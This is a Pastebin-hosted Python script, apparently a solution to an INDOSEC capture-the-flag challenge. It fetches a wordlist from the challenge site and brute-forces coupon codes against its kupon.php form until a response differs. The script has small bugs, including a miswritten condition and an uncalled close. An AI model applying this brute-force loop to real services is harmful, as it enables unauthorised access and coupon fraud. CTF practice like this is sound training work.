Xractz

Solve CTF INDOSEC

Jul 7th, 2019
440
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.79 KB | None | 0 0
  1. from requests import Session
  2. import threading, sys, requests,re
  3.  
  4. url = "https://official.indsc.me/kupon.php"
  5. ua = {'User-Agent':'INDOSEC/1.0'}
  6. s = Session()
  7. def ps(url,ua):
  8.     a = open("tes.txt", "r").readlines()
  9.     for line in a:
  10.         ctf = line.strip()
  11.         r = s.post(url,headers=ua,data={'kupon':ctf,'submit':'submit'})
  12.         cek = r.text
  13.         if "Gagal mendapatkan kupon gratis. Karena token tidak sama." and "Gagal mendapatkan kupon gratis." in str(cek):
  14.             print(f"kode {ctf}")
  15.             print(cek)
  16.         else:
  17.             print(f"kode {ctf}")
  18.             print(cek)
  19.             sys.exit()
  20.            
  21. def ambil():
  22.     r = requests.post("https://official.indsc.me/wordlist_ctf.php").text
  23.     b = open("tes.txt","w")
  24.     b.write(str(r))
  25.     b.close
  26.     t = threading.Thread(target=ps, args=(url, ua, ))
  27.     t.start()
  28.  
  29. if __name__ == '__main__':
  30.     ambil()
Advertisement
Add Comment
Please, Sign In to add comment